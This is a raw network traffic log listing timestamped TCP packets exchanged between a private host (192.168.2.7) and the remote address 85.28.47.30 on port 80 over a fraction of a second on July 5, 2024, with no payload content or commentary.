Jul 5, 2024 06:23:08.815185070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815196991 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815205097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815206051 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815237045 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815243959 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815248966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815258980 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815263987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815269947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815274000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815285921 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815288067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815291882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815303087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815310001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815316916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815323114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815332890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815337896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815340996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815346956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815352917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815367937 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815375090 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815375090 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815393925 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815414906 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815423012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815428972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815438986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815443993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815448999 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815454006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815464973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815469980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815479040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815485001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815493107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815494061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815502882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815521955 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815546036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815589905 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815594912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815608025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815612078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815628052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815633059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815634012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815639973 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815649033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815650940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815656900 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815669060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815674067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815679073 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815705061 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815720081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815726995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815737009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815742016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815746069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815752029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815756083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815764904 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815782070 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815802097 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.815810919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.815862894 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.816000938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816014051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816025019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816034079 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816040993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816051006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816052914 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.816056967 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816062927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816073895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816078901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816085100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816087008 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.816091061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816097021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816102028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816106081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.816113949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816127062 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.816135883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816140890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816143990 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.816148043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816153049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816159010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816160917 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.816164970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816176891 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816181898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816188097 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816189051 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.816195011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816200972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816214085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.816220999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.816240072 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.816255093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.908669949 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908677101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908691883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908696890 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908708096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908714056 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908725023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908730030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908785105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908802032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908818007 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908823013 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908833027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908837080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908853054 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908864975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908874989 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908879042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908884048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908888102 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908894062 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908899069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908910990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908915997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908922911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908936977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908937931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.908937931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.908937931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.908937931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.908943892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908957005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908962965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908968925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908976078 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.908976078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908982992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908997059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.908998013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909009933 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909017086 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909022093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909023046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909087896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909087896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909087896 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909178972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909190893 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909200907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909207106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909212112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909215927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909226894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909231901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909240961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909244061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909245014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909249067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909256935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909264088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909274101 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909276009 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909281969 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909287930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909291983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909312010 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909327984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909327984 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909333944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909344912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909348965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909358025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909363985 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909373999 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909379005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909389019 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909394026 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909410954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909423113 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909434080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909439087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909440994 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909451008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909456015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909470081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909488916 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909488916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909498930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909507990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909517050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909522057 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909527063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909532070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909542084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909548044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909558058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909563065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909579039 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909615993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909615993 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909635067 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909641027 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909646034 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909651995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909657001 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909681082 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909729004 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909754992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909769058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909774065 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909790039 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909805059 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909810066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909817934 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909821987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909830093 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909838915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909843922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909849882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909852982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909862995 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909868956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909874916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909876108 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909879923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909884930 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909889936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909894943 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909902096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909933090 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909948111 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909953117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909956932 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.909957886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909964085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909970045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909974098 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.909991026 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.910010099 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.910103083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910109043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910120010 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910129070 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910135031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910146952 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910151005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910156012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910161972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910166979 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910168886 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.910172939 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:08.910181999 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:08.910207033 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002376080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002403975 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002424955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002435923 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002454996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002466917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002477884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002490044 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002490997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002491951 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002502918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002516031 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002562046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002562046 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002580881 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002599955 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002613068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002624035 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002639055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002640963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002640963 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002650023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002655029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002655983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002671957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002697945 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002707005 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002893925 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002904892 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002917051 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.002944946 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.002964973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003046036 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003057957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003067970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003084898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003096104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003103971 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003108025 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003127098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003127098 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003128052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003142118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003150940 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003154993 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003165007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003168106 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003199100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003212929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003212929 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003220081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003238916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003247976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003251076 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003262997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003276110 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003276110 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003283978 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003295898 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003309011 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003309011 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003309011 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003320932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003326893 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003334045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003348112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003355980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003355980 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003362894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003376961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003386021 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:09.003388882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:09.003401995 CEST	80	49699	85.28.47.30	192.168.2.7
